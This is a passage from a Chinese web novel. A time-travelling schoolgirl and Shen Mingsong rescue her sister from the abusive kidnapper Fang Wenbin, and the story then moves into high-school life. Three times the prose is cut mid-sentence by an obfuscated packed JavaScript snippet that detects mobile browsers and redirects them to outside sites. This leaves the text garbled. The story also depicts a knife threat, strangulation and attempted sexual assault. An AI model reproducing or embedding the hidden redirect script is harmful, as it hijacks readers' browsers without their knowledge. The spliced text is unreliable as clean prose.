她去了聚会的酒楼,人已经散了,还好遇见没走远的一个同事,才知道宋芳被方小娟带走了。 如果她没看过母亲日记本,她是不会在没有任何证据的情况下就随便动手。 日记本上提到方小娟后消失了一些页面,后面这个名字就也没再出现过。 如果她真的是母亲的好朋友,为什么母亲后面就再没提起过她呢。 是因为翻脸了,或是背叛? 宋尔雅从见到方小娟的第一眼就觉得这个人不对劲,从方才她见她就跑的举动中也表明了,她不可能是完全无辜无知的人。 “我没时间和你废话,我姐呢?是不是被方文彬带走了?” 方小娟摇头:“都说了,她被……” 宋尔雅用尽全力给了她一个耳光:“别说废话,说地址!” 沈明松抬眼诧异看她。 方小娟的脸很快就肿了,她没有被打后的发怒,慌得厉害:“不知道,你快放开我,不然我喊非礼了。” 宋尔雅从口袋掏出一把水果刀来抵住方小娟脖颈:“你不说就死吧。” 此刻她懂了当初沈明松要掐死沈向国的心情。 方小娟惊慌地对上她视线,冷漠和愤怒交汇在眼底,她没有咬牙切齿,反而是沉寂的透着恨意。 方小娟忽然觉得她是认真的,这个只有十来岁的少女可能下一秒就能捅她刀子。 方文彬都没对她有过这种念头。 “她被彬哥带去家里,其他的我不知道,我也是被逼的……” “地址!” 方小娟摇了摇头,这个她真不知道。 宋尔雅徒然冒起戾气,只想弄死这个女人。 沈明松松开方小娟,大手抓住宋尔雅手腕用力一捏,刀子便拿不稳掉地面上了,方小娟趁机跑了。 “你!” 宋尔雅才追一步就被沈明松拦腰抱住,往摩托车那边走:“没时间了,我们去方文彬家。” 她差点忘了,日记里写沈明松翻窗救的宋芳,所以他一定知道方文彬家地址。 ~ 另一边,宋芳感觉脸上一阵温热,一睁眼就是方文彬离得很近很近的脸。 “你干什么?你怎么在这,这是哪里?”她惊坐起来。 方文彬拿着热毛巾给她擦脸,动作很轻柔,像是在抚摸自己恋人:"你喝醉了,还难不难受?" 再大的醉意此刻也被吓醒了,宋芳赶忙从床上爬起来连连远离男人,紧张检查自己完好的衣物。 “为什么总是这么怕我,我又不会对你做什么?”房间内的灯光很白,落在方文彬那张脸上变成了灰白色,他的眼神十分诡异。 宋芳浑身都起了鸡皮疙瘩,眼睛刚移到门口,方文彬就过去把门关上了。 “我只是想和你说说,过来,听话。” 宋芳没动,她很清楚男女之间的力量差距,不想和他正面起冲突,偷偷去看周围有没有能当武器的东西。 方文彬等了她一会而,忽然暴怒地冲过来拖着宋芳按到了床上:“你又不听话了,为什么你每次都要忤逆我,我对你不好吗?” 宋芳吓得对他又踢又打:“神经病啊你,滚开!” 方文彬猛地掐住她脖子遏制住了她的呼救:“我有钱的时候,你对我百般恭顺,又温柔又包容,我以为你会好好当一位妻子,后来我没钱了给你娘家了,你第一时间就变了。” “你说,人为什么可以为变脸那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510455|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快呢?” 在宋芳快要被掐断气前,方文彬又松开了手,见她咳嗽还帮她拍拍后背顺气:“对不起了小芳,我刚刚认错人。” 说着他弯腰从床底拿了一根绳子将宋芳结结实实地绑起来,在这过程中被宋芳狠狠踹了一脚,他又发疯抽了她一耳光:“妈的,你们女人都一个样,给脸不要脸。” 绑完后他神色又变得温柔起来:“你乖一点,只要你乖乖地,我保证以后不打你。” 宋芳头皮发麻,再次确认了他是神经病,急得满头都是汗:“你冷静一点,我不是你前妻。” 方文彬笑了,目光毫不掩饰地落在她身上每一次,让端正的五官变得无比猥琐丑陋:“我知道,你可比那个臭婊子迷人太多了,你好白,一双腿勾得人移不开视线,每次见面都想让你夹上来。” 门外传来震天响,似乎是什么敲打着铁门。 宋芳赶紧转移话题:“有人敲门。” 方文彬却什么都听不进去,诡异地盯着她,手朝她伸出来,宋芳本能地又一脚踹过去,又被他压回床上。 这时外门的铁门锁被人砸开,宋芳大叫救命,沈明松几步冲上来撞开卧室门。 宋尔雅刚看见过里面情形,跑进去就用水果刀往方文彬屁股上扎了进去。 她跑出门前顺手揣了好几把小刀。 方文彬痛地跳起来,手还没抓到她,就被沈明松扯着头发到了客厅外扭打了起来。 宋尔雅忙割开宋芳身上的绳子,宋芳才得了自由就拉着妹妹往门外跑。 闹了这么大的动静,吵得邻居都站在楼道外张望是怎么回事。 “报警,快报警,里面有疯子!”宋芳向他们求救。 直到警察来了之后,宋芳瘫软地坐在地上哭起来,边哭边骂方文彬这个天杀的。 ~ 从公安局做完笔录出来已经是第二天了,宋芳还心有余悸,方文彬涉嫌绑架他人,被拘留起来。 她脸肿了一大块,回家后宋尔雅给她抹了些药,用冰棒敷脸。 “姐姐,已经没事了。”可宋芳脸色还是不太好,“你和明松怎么会出现在方文彬家里?” 宋尔雅想不出解释的理由,总不能说未来的沈明松给了她预警,让她知道六月份一定会发现什么。 她后怕转移话题:“是方小娟,是她把你交给那混蛋的。” 宋芳沉默了。 以她个性应该是火冒三丈的,可是她一声不吭。 宋尔雅明白每个人都想单独静静的情况,便出去把门关上了。 沈明松坐在院子外没走,手指夹着点燃的半根烟。 “你又抽烟。” 沈明松便将烟丢地上,就鞋子碾灭了:“芳姐没事吧?” 宋尔雅摇摇头,身体没事,心灵上可能会蒙上层阴影。 “来和哥说说,你是怎么知道会发生什么事的?” 宋尔雅来找他求助时,说有人要害她姐,沈明松起初还认为小姑娘考完试闲着没事干了又来都他逗玩,直到她说了方文彬名字后,他才重视起来。 她急得快哭了,他也就没时间多想。 “这是秘密。”宋尔雅为难地说,她招招手示意让沈明松凑过来,“我和你说了,你可别说出去。” 沈明松疑惑地偏了偏头,把耳朵凑过去。 “因为我有超能力,能预知未来。” 沈明松站起来往门外走了几步,又折回来掐她脸蛋:“都什么时候了,还和你哥开玩笑?” 宋尔雅还是一本正经:“我真没开玩笑。” “那你说说,未来是怎么样。” “未来哥哥很有钱,让我想怎么花就怎么花。” “做梦呢?”沈明松两边脸都给她掐了。 他掐的一点都不疼,宋尔雅还和他皮:“没做梦,未来的你就是很喜欢我,遗产都想留给我。” 沈明松大脑短暂的空白:“胡说八道!” “我没胡说,你现在不也很喜欢我?” 沈明松改用拳头不轻不重地锤她脑袋,骂没睡醒就继续睡,转身就走了,这一次没再折回来。 宋尔雅叹气:“唉。” 真是个铁嘴。 29. 第 29 章 宋芳比宋尔雅想象要坚毅,很积极地去公安局做了好几次笔录。 恐惧归恐惧,她不能放任那神经病这么欺负人。 然而方文彬关了没几天,却被人保释出来来。 宋芳担心方文彬会出来报复他们,她把工作辞了。 她冒出逃到外省的想法,和姑姑打了好几次电话,姑姑以为她是想出来找工作,热情喊她出来。 宋芳心动了又犹豫,她可以走,可妹妹怎么办呢?她还是要继续读书的。 宋尔雅倒是非常支持她出去的,她又不是生活不能自理。 宋芳日记里提到,方文彬没多久就死在火灾中。 不过她也担心自己这次改变了母亲命运,会不会也连带着改变了方文彬的命运,万一他没被烧死呢怎么办? 而方小娟被当做同伙也拘留了起来,她在里面走了一遭,吓得什么都说了。 她口供中透露了更多被困在会所工作的女人,有些是自愿的,有些是被骗来的,还有拐卖进去的被迫。 这涉及到更大案件,引起了上面领导注意下令追查。 暑假中旬时,娱乐街的那家夜总会被停业整改,作为夜总会的管理人员,事情扯回到方文彬身上,警察再次传唤他时,他家已经人去楼空。 周强作为幕后老板也被带走协查,因为没有证据不足一个月后又被放了出来。 他小弟来开车浩浩荡荡地在拘留所门口接风洗尘,还点燃了长长几串鞭炮,硝烟味将目送的警员笼罩在其中。 这些事都成为了椰城饭后闲谈,说这个强哥背景强大,连警方都奈何不了他。 洗尘宴上,被警方下了逮捕令的方文彬跪在周强面前:“强哥,这次你得救我。” 这些日子里他东躲西藏,早没了表皮上的那层斯文,乱糟糟地胡子都没空刮,身上一股馊味。 周强摸着自己光头,为难道:“不是强哥不帮你啊,小姐们卖卖酒,跳跳舞,是来正经赚钱的,谁让你逼她们卖肉了?你强哥差点都要被你害死了,你还有脸出现在老子面前?” “你还是自首去,争取少判几年。” 方文彬双眼猩红,明白周强是要把事情都往自己身上推了,他已经是亡命之徒没有后路:“强哥,你能保证我不会在条子面前说些什么吗?” 周强抖了抖烟灰。 “我老婆她在你家吧。”方文彬笑了,声音嘶哑难听,“应该说她在你家花园底下是不是?” 周强香烟燃尽,他又点了一根,打火机照亮他脸上狰狞疤痕:“你知道什么?” “我什么都不知道,也可以什么都知道。” 那根香烟再次燃尽,周强说:“你去找老三,跟货船走。” ~ 宋芳惶恐不安地度过一个暑假,这期间方文彬都没再出现过,也许他为了躲避警察的追捕早就逃到外面去了,没空找她麻烦。 生活恢复到平静,宋芳收拾了行李,说要出去外面看看。 椰城到深市,路途遥远,乘船出去还要转火车,沈明松帮她把行李扛上船。 宋尔雅还是有些不舍抱住宋芳撒娇:“姐姐,你一定要经常给我电话哦。” “等姐姐到那边稳定下来,就接你过去玩,你自己一个人在家也要好好学习。”说完宋芳又觉得自己说的多余了,她这个妹妹虽然有些调皮,但很少让人操心过。 船开动了,宋芳要开启她新的人生,宋尔雅站在码头挥手,直到海面上的客船身影越来越小。 祝你新生。 宋尔雅默默祝福,因这场离别高兴而又有些忧伤。 宋芳不会每天都围着她转的,她也要有自己的人生了,而她在这里只能作为妹妹,祝福她。 宋芳回头望渐渐远去的码头,人小得像蚂蚁,纵然心中不舍,也有对新生活的向往。 经历了两天三夜,她终于顺利到达深市的姑姑家,她整理行李时发现了一叠钱。 每一张都很新,是从银行取出来的。 她从来没有过问过妹妹存折里有多少钱,也不晓得居然会有真么多,大概是全取出来了。 ~ 每年开学都会下雨,冰凉的雨水缓解了酷暑炎热。 陶冬冬去了五中,遗憾不能和宋尔雅安一起上学了,宋尔雅安慰她高中只是开始,一切都还来得及,她们还有机会一起念大学的。 并且等她有了自己目标之后,也不一定会想和自己念同样的大学,现在的难过是短暂的。 陶冬冬耷拉眉眼:“你想考什么大学?” 宋尔雅说了所有人都想去的那两个学校。 “……”陶冬冬觉得她这辈子没希望了。 德育门口拉了惹眼横幅欢迎新生入学,树上挂满小彩旗,放眼看去人山人海,很多学生家庭优渥,私家车占满了学校预留的停车位。 门口进去就是一个招生广场,摆满了各个班级的新生报名摊位,由高年级学生负责。 广场上有一块很大的石头,上面刻着:书山有路勤为径。 宋尔雅十六岁那年就退学了,后来也是请老师来家里教的,这也算是她头回念高中。 报名流程都会有学生会学长学姐带领,宋尔雅不喜欢和别人挤一间宿舍,能不住宿她就不住,交完学费后学长带着她去认教学楼找教室。 一路上有人看过来,问带路的学长她是哪个班的小学妹。 开学报名有两天,第三天才正式开始上课,班级里的同学报道完毕。 班主任陈媛媛拿着学生名单进来,她烫着微卷的头发,大概三十来岁,先是自我介绍一番,然后扫过讲台下所有学生:“宋瑶同学是哪一位,让老师看看。” 宋尔雅大大方方的站了起来,迎接那些目光。 陈媛媛目光一亮,这个同学保送进来的,中考上拿到分数也很优异,得知她被分到自己班时,陈媛媛兴奋得一晚都睡不着觉。 “看来还是位美女呢,老师很高兴你能来到高一一班。” 自我介绍就从她开始了,同学们一个接一个地站起来让大家认眼。 班里男女比例平衡,女生就十来个,她在女生堆里很快就打成一片,半天不到就有人约她一起去上厕所。 第一学期陈媛媛按成绩来选班干部,宋尔雅毫不意外当了班长。 开学要军训一个星期,男男女女都站在太阳底下备受折磨,好不容易熬过去,大家都黑了一圈,穿上了学校定制的蓝白配色校服更显黑了。 同桌李秀娥捧着宋尔雅的脸翻来覆去地看:“班长,你到底用了什么防晒霜,效果那么强?” 人家晒黑她晒红,温度下来后她肤色就恢复如常。 他们这个年纪正是青春少艾,谁都喜欢看好看的人,学习之外谈论的不是电影明星,就是学校里的长相出众的那几个。 比如高三七班的金思明,又高又帅,打篮球特别好,广播站的明秋月歌声空灵动人,高二明芝兰娇小可人 也有人说宋尔雅长得像少数民族,她眼窝很深邃,瞳孔颜色很浅,像晶莹剔透的琉璃。 她和宋芳都这种长相。 有男生找过来说想和宋尔雅交朋友,问可以和她互相写信交流吗,又或者直接往她课桌里塞。 宋尔雅拆开过了一封去看,信上说他每次见到她都很自卑,觉得她像一位小公主一样高贵,纯白,让他心里酸涩得像颗半青不熟的番茄。 宋尔雅:“???”什么鬼番茄。 她以前没有接触过这个年纪的男生,唯一认识的只有段西瑞,段西瑞没这么搞笑。 晚自习放学了,她装了些试卷晚上回去做, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16518122|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些信叠好留课桌里。 后门没走完的男生见状,用手肘撞撞旁人:“快!” 学校提供车棚里供教师学生使用,车辆堆得满满当当,款式大差不差,防止认错有人会在车身上用防水笔写点或画点什么做标记。 她弯腰查找时,察觉到书包被人拉开,往里面塞了什么。 吓她一跳,回头一看是沈明松。 沈明松穿着和她同款校服,刚刚应该是运动过出汗用冷水冲了头,发丝上挂着水珠,水渍一路湿到胸口下,他在口袋里又掏出了一把零食给她。 “我不吃,都给你。” 饼干和糖果混在一起,她双手都没拿得完,沈明松继续往她书包里放。 宋尔雅接过:“太多了,哪里来?” 直到鼓鼓囊囊的口袋瘪下去,他用一种“吃了吗”的口吻和她说:“方文彬死了。” 宋尔雅猛然抬头:“怎么死的?” “烧死。” 她瞬间喜上眉梢,嘴巴不受控制的咧开,命运果然还是随着大致方向滚动了。 这对她来说是好事,方文彬早死早安心。 下一刻乐极生悲,宋尔雅发现自己自行车后轮瘪瘪的,明显被人用刀子扎了洞把气都放了,完全骑不了。 她懵了。 数学老师是个古板的小老头,脾气古怪,动不动就体罚学生,听说上一届的学生恨他恨得要死,隔段时间就会有人偷偷去扎他自行车轮胎。 她是有些小脾气,但才开学不久她没来得及得罪过谁吧? 沈明松怫然越过她身后,视线锋利如刀,捕抓到那一闪而过的身影,额发打下的阴影掩过阴鸷眉眼。 宋尔雅扭头看去,没发现什么异常。 轮胎彻底报废了,沈明松让她先坐公交车回去,他帮她看看还能不能修。 她点点头,纳闷地往公交站走,思考着究竟是谁要害她? 好在学校离家不远,车上都是同校学生,下车后也有人和她结伴而行走回到家 李姨看见她回来就招呼:“瑶瑶回来了,锅里有宵夜,快去吃。” 宋芳走后沈明松从家政公司找来的李姨照顾明珠,怕自己晚上不回家明珠没饭吃。 宋尔雅都是在学校食堂吃,明珠偶尔会给她留宵夜。 …… 修车行,老板将车轮内胎拆了下来,看着那不大的刀口:“就破那么点,补补就行。” 沈明松态度坚决:“换了。” “好嘞。”换一个全新的轮胎老板还能多赚一点,当下就去找材料换上,好奇看一眼体格高大的少年,又去看他身前战战兢兢的男生。 男生干巴瘦弱,明显很怕少年,半天屁都放不出来一个。 沈明松玩着打火机:“她得罪你了?” 男生用力摇头。 “那你欺负她?” “没有没有!”男生连连摆手,汗水湿透了后背,结结巴巴地才说出一个理由。 他放学想和宋瑶一起走,她自行车骑不了的话,他还能邀请她坐自己后座上送她回家,他的朋友都是这样追女生的。 “我只是喜欢……” 男生话未说完,就被沈明松踹了一脚跪倒在地上,疼得龇牙咧嘴,才抬头又赶紧低下,不敢去面对那张阴沉的脸。 沈明松眼神很冷,多看一眼就要上去打人似的。这些二百五惯会以欺负人的方式去接近女生,脑子被车碾了。 老板误会什么,飞快地把轮胎换好,插嘴道:“同学,换好了。” 沈明松沉默了十几秒,忍着没上去补一脚:“还不付钱?” 男生领悟过来赶紧去掏口袋,沈明松推着车出去搬上摩托车后座用绳子绑住,无意撇到车身上的小字。 他低头去看。 尔尔。 30. 第 30 章 摩托车声音一响,宋尔雅就跑出来了。 自行车被五花大绑在车后座,沈明松解下来让她推着在院子转了几圈。 见又能正常使用了,宋尔雅笑靥如花:“谢谢哥哥。” 她才洗完澡不久,头发半干地披在脑后,满身水气,发尾坠着的水珠滴到沈明松手臂上,微凉触感让他悄悄后移了一点,怕自己身上灰尘给她染上。 “你仔细看看,是你车吗?” 宋尔雅又扭头去检查,双手掰了掰车篮子,又去看她留下的标记确定道:“是我的啊,车篮子还留着上次撞得痕迹呢。” 沈明松便不多问了。 睡前来了场小雨,空气凉爽起来。 宋尔雅是个很能唠的小女孩,晚上没人和她聊天,就去找明珠聊天。但人作息好,看完连续剧就犯困了,撑不住。 有时沈明松在家,她就闯进他房间缠他说话,赶都赶不走。 害得他在房间内连背心都不敢穿,永远衣冠完整。 沈明松不在时,她就回隔壁自言自语,切换语言练习口语,怕太久不说就陌生了。 日子也属实无聊,说实话她也多爱学习的,就是养成习惯了。 宋芳一去到姑姑那边时就打电话回来,给了可以联系的座机号码,她问宋尔雅怎么把钱都给她了。 宋尔雅说没都给,自己留有够生活。 她觉得写信也很有意思,文字能表现出更多意思。隔三差五就给母亲写信,把一朵干花压进信纸,在第二天早上塞进绿色信筒里。 这时邮寄没后世那般追求速度,信件一路跋山涉水,缓慢地送出去。 宋芳信件被寄回来时,已经是好多天,说自己已经在工作了,还给她打钱回来,还怕她没钱吃饭。 德育管得十分严厉,宋尔雅不能做那些小生意了,最主要的重心还是要放在学习上,好在她的存折里还留有一笔小钱。 只是钱会花完,她得找个办法赚钱。 第一个月考成绩出来后,她远远甩了第二名几十分,在分数榜下,依旧有目光在凝视她,不过这次他们不议论她好不好看了,而是叫她年级第一。 宋尔雅在走廊上看完年级成绩榜满意回到教室,路过后门听几个男生在聊天。 “那天来了好多警察和法医,那个人被烧得面目全非,骨头都黑成碳了。” “得罪什么人,被仇杀吧?” “肯定是,他全身被铁链捆着。” 宋尔雅凑过去:“你们在说什么?” 男生们顿了一下,其中一个面色古怪,偏头躲开她的视线。 倒是另一个男生回答了:“没什么,就是李达家附近烧死了个人,很吓人,你还是不要听了。” 宋尔雅眼皮一跳,倒也没刨根到底,iPad相册里的新闻截图,就有一起某男子被仇家浇汽油烧死的凶杀案,大概率就是方文彬了。 沈明松果然是故意留给她看的。 方文彬死了就行,怎么死的不重要。 等她走后,男生拍拍李达肩膀:“不是喜欢人家吗,怎么和你说话又当缩头乌龟了。” 李达被踹过的地方在幻疼,他支支吾吾:“你们知道高三的沈明松吗?” “怎么了?” “班长和他关系不一般,你们最好也别招她了。” 沈明松被人议论从来不会是有多帅,打球有多好,而是他是个混的,打架狠得要命,也很会赚钱,连学校外那条街的小混混都叫他松哥。 可他学习又很好和宋尔雅一样是特招生,老师懒得管他,只期待他赶紧毕业给学校提高本科率走人。 然而李达这些话一传出去,又变了味。 一天课间宋尔雅在和玩得好的几位女生在对试卷错题分析时,孙梦犹犹豫豫地走过来,欲言又止了好几次。 她很内向,在班级存在感不高,似乎没有朋友,老是带着耳机一个听歌,和人说句话都要在心里设想千百次。 宋尔雅轻轻叹气,还是她先开了口:“怎么了?” 孙梦求救地望着宋尔雅:“高三的王子恒把我随身听借走了,好多天都没还。” 她那台随身听是国外牌子,比杂牌价格贵上数倍,说是借实际被抢了。 宋尔雅无能为力:“我也不认识王子恒,你找我干嘛?” 孙梦的表情都要哭了,弄丢了那么贵的东西,被家里知道就要完了。 还是李秀娥反应快:“沈明松不是你对象吗?她想让你找他帮忙要回来呢,王子恒和他一个班的。” “啊?”宋尔雅目瞪口呆,“谁说的,是谁造我谣?” 几个女生都摇头,谣言都是都越传越离谱的,到他们耳朵里就这样了,至于源头是什么没几个人知道。 学校很大,高一与高三都不在同一个楼层了,但也还是偶遇的,宋尔雅每次都会和沈明松挥手打招呼,而那个冷着脸的高三学长在看到她后,变得没有那么可怕了,甚至会笑。 有次沈明松还拉开拉链往她书包里塞零食,她还把那些零食分给几个女生吃了。 宋尔雅哭笑不得和她们解释清楚。 李秀娥满脑袋梦幻泡泡:“邻家哥哥,青梅竹马,听起来更美好了。” 宋尔雅片刻失语,如果是收养关系呢?要是和她的朋友们说她喜欢明松叔叔,她朋友能把她砍成一段一段的。 人怎么可以喜欢大自己一轮的长辈。 宋尔雅撇撇嘴,好在她来到了沈明松少年时,她就可以。 等到下节课课间时,她招架不住可怜兮兮的孙梦纠缠。带着她去了高三所在楼层,抱着一丝希望和沈明松说明来意。 沈明松靠在教室门边上,身高快要突破门框了,眉眼锐利:“王子恒,出来。” 他这一喊,班级瞬间安静,最角落的男生忙站起来往这边走。 东西比想象的还要顺利地要回来了,怪不得孙梦要先来找她,原来沈明松说话这么管用。 她忽然想到狐假虎威这个词。 陆年从窗户探出脑袋来:“妹妹,我这还有些零食你还吃不吃?” 宋尔雅摇头。 陆年:“为什么不要,松哥每次都抢我的拿去给你?” 沈明松立即将陆年脑袋按回窗户里,啪一下关上,催促她:“要上课了还不走。” 他说话时并不看她。 宋尔雅怀疑他是不是偷偷说过自己坏话,心虚了,让他以后别抢了,她嘴巴没那么馋。 沈明松推她:“回去上课。” ~ 青春只有怀念时才美好,真正去体验了往往是课堂上老师催眠的声音,繁重的学业,和迷茫的未来。 课间里广播站会放些歌曲调节学生情绪,舒缓心情。 如果是明秋月值班的话,她会跟着伴奏唱,音调里饱含感情,像歌手。 宋尔雅没有留意过未来有没有明星歌手叫她这个名的,但她真的在闪闪发光耶,估计的是不少人少年时代的女神。 李秀娥是她粉丝,会偷偷跟着哼唱。 就 “秋月学姐唱歌超好听的,又会弹琴,家里又有钱。”几个女生课余时间围在一起议论。 李秀娥说:“不过学姐高三了准备要退出广播站,他们社团正在招新,我们要不要去参加?” 有人说好,有人说没兴趣。 宋尔雅跟着李秀娥一起去报名了,因为她听说去广播站可以不用晨练。 德育的晨练是围着操场跑八百米,雷打不动的,老师不轻易给假。每次跑下来宋尔雅骨头架都散了,累得像条死狗。 她遭受不住这样的折磨,怕那天就猝死了。 她爱惜生命爱得要命。 面试地点在学校的一个小剧场里,主审官是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528494|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位老师,和广播站的老人,明秋月就在其中,她看到宋尔雅还笑盈盈地给她比了个加油的手势。 整场面试都是公开的,谁都可以过来凑热闹,其余面试的学生也在台下候着。 宋尔雅上台没有李秀娥那样紧张,这种场合对她来说小意思。不怯场、不害羞,挑一篇文章来展示自己普通话标准程度和音色。 舞台明亮的灯光洒下来,照亮少女自信从容的身姿,茂密的长发如云,肤白盛雪,唇色又是浓烈对比的娇艳,容貌如夜里盛开的山茶。 她声音动听清冽,两位老师对视一眼而笑,结束后批评了她不够专业,最后却又就给打了高分。 她下来后,明秋月还特意来和她说话:“太棒了你,表现非常优秀。” 宋尔雅:“嘿嘿,小意思小意思。” 明秋月愣了愣,捏她脸:“广播站就需要你这种放得开的。” 宋尔雅居然在她眼里看到了知音难觅的激动,果然下一秒她问:“你要不要来我的乐队,你音色很漂亮。” 平时学校的汇演里,明秋月和朋友组起来的乐队往往是压轴节目,听说他们自创的歌在全市里也是拿过奖。 宋尔雅虽然被夸得要飘上天,但她唱歌着实走调严重,自娱自乐一下还好,跑到大庭广众下就是丢人现眼了。 脸皮再厚也是需要点面子的。 她拒绝了。 而听到对话的明芝兰待不住跑出了剧场。 她从出生起就和明秋月比,比学习比特长比容貌,比什么都落堂姐一大截,先是进不去她的乐队,现在连广播站都刷她下来,气得乱踢路边垃圾桶。 她咬着牙,想起刚刚和堂姐说话的女生更气了,本来她和堂姐一起都能被称为明家双姝,在学校很受欢迎。 可自新生开学后,宋瑶名气都要盖过她了,都知道高一一班有个学习好有特别貌美的小学妹。 明芝兰本能的不喜欢她,认为她和明秋月一样讨厌! 最终宋尔雅和李秀娥都被选上了。 也不是获得什么国际大奖,宋尔雅跑回家还是在明珠面前嘚瑟一会儿,又打电话和妈妈说求表扬。 沈明松看她又蹦又跳的:“中彩票了?” 宋尔雅:“我要当明星啦!” 沈明松:“?” 宋尔雅继续自卖自夸:“校园广播站里一颗冉冉升起的新星。” 沈明松已经习惯了她的自恋,还是忍不住想这小姑娘脑子是怎么构成的。 其实宋尔雅更高兴与不用跑步了。 ~ 晨曦温柔沐浴在每一个睡眼朦胧的学生身上,体育老师可不会温柔,吹着口哨让人动起来不许偷懒。 宋尔雅在小小的广播室里躲懒,听明秋月给她教机器的操作,只要不让她跑八百米,让她学啥都行。 上岗第一天,明秋月就让她试着在全校师生里开口说话,把小话筒给她。 宋尔雅想了想,决定分享自己平时的读书摘抄。 八百米晨跑之后,会有十来分钟的自由时间,大家懒懒散散的吃早餐,没有心情听广播在放什么。 沈明松抬头看食堂外的大喇叭。 “我的灵魂绝不懦弱, 在世界上的风暴频仍之区也不颤抖忧虑, 我见到天堂的光辉闪烁, 同样闪烁的信仰使我克服着恐惧 ……” 陆年饿极了,两口一个包子,偷偷伸手拿了对面一个,他也没任何反应,打了一个响指:“松哥,回神了。” 学校放那些枯燥无味的英文朗诵有什么好听的,是韩梅梅嫁人,还是李雷移情别恋了。 陆年听了好一会才听出不对劲:“这声音,是咱们妹妹的吧?” 沈明松面无表情:“谁是你妹妹?” 陆年:“……” “你妹、你妹。” 31. 第 31 章 冬季来了之后,起床也是困难,学生便打着哈欠晨跑,骂骂咧咧地求明天下雨吧。 宋尔雅再一次庆幸自己进了广播站。 轮到她值班的时候,班里的女生就给她在纸条上写想听的歌塞她手里。也有匿名写信给某人,让广播站代读。 被写信最多的是歌坛爆火的明星们,连明秋月也异常迷恋好几位歌手,在吉他上都有明星贴纸。她说要存钱等放寒假要飞去别的城市看他们演唱会。 宋尔雅以前沉迷二次元没追过星,除了特别火的明星外,没认识几个,这种话题还是李秀娥和明秋月比较聊得来。 明秋月生日时邀请广播站的所有人周末去学校外的娱乐会所开派对,“金达”一楼是电玩城,二楼是各类卖吃的店铺,三楼卡拉OK,越往上消费越高,吃喝玩乐一条龙。 明秋月包了顶楼的露天餐厅做场地,他们去到时她的朋友们也在里面玩着了。 陆年也在里面,正和几位少年玩麻将。 宋尔雅看了一圈,没见沈明松。 陆年猜出她要问什么,提前解答了:“松哥还在办公室呢。” 这是林海的场子,沈明松给他办事,平时都待办公室了给解决一些突发事件。 陆年给她们点了些牛奶可乐,一男生端着酒杯过来勾陆年肩膀:“来这喝什么饮料……” 他看清是两个年纪不大的小姑娘,又改口了:“去唱歌吧,我去帮你们点。” 男生走到点歌区,明芝兰大呼小叫:“下一首我要唱《失恋阵线联盟》。” 男生把别人点的歌都加上,就是不理明芝兰。 李秀娥知道的八卦多,偷偷凑到宋尔雅耳边:“那就是金思明,很帅吧,他喜欢秋月学姐。” 唱歌时,金思明和别人抢着同明秋月合唱,明芝兰时不时也去抢明秋月话筒笑嘻嘻地要唱。 她一开口,金思明就没了兴致,看明芝兰眼神厌恶。 这两姐妹,像假的。 她无端想起那句歌,假烟假酒假朋友。 陆陆续续有人来到顶楼,人一多就热闹,唱歌玩扑克的都有,有男生不顾及旁人抽起了烟,烟雾弥漫在空中,宋尔雅赶紧躲远了。 顶楼摆放了好些绿植做景观,还在搭了秋千供客人坐着玩,从正对方向是广袤无垠的大海,她在躲这里刚刚好。 也有人发现她藏这里,陆陆续续过来聊天,宋尔雅没有啥兴致了,恍惚发现自己融入不进这气氛中,因为她没有过这样的青春,她青春都搭医院里面了。 因为骨髓移植后出现排异现象,反反复复地进了几次医院,不断地吃药,折磨得她连成年那天都在医院输血。 后面医院换了治疗方案用了新药物之后,病情才稳定下来回沈家休养,使她平安活到了21岁。 然而命运却再一次架在她咽喉间,不知什么时候挥刀下来。 若是回到自己的身体,她应该又要再被折磨一次,复发更难治疗。 说起来她也很久没回去了,她还有很多话想问沈明松,他是不是知道自己能穿越,不然为什么会给她那么多提示。 秋千被人推动轻轻荡了起来,悄然出现的沈明松抓着秋千绳子:“躲着干嘛?” 宋尔雅蹙眉:“臭。” 那群男生还在喝酒打扑克,有人发烟了就接过来吞云吐雾,宋尔雅直视沈明松:“你刚刚不会也抽了吧?” "管动管西,管你哥头上?" “你怎么会抽烟呢?” 因为怕异味对她身体不好,沈明松从未抽过烟,以至于她每次见到沈明松抽烟,她都很不习惯。 沈明松现在都避开她了,见宋尔雅还想去摸他口袋,推了一把秋千把她荡远了。 她荡回来又推开。 宋尔雅:“喂!” 沈明松还是推着她玩。 等大伙都玩累了,就让服务人员上菜,女生想喝什么都行,男生必须要碰个杯。 沈明松跟他们喝酒去了,有人掏烟打算点上,被他盯住:“女孩子都在场别那么缺德。” 那人顿时不好意思。 李秀娥幸灾乐祸:“终于有人治他们了,我一直没好意思说。” 宋尔雅笑笑。 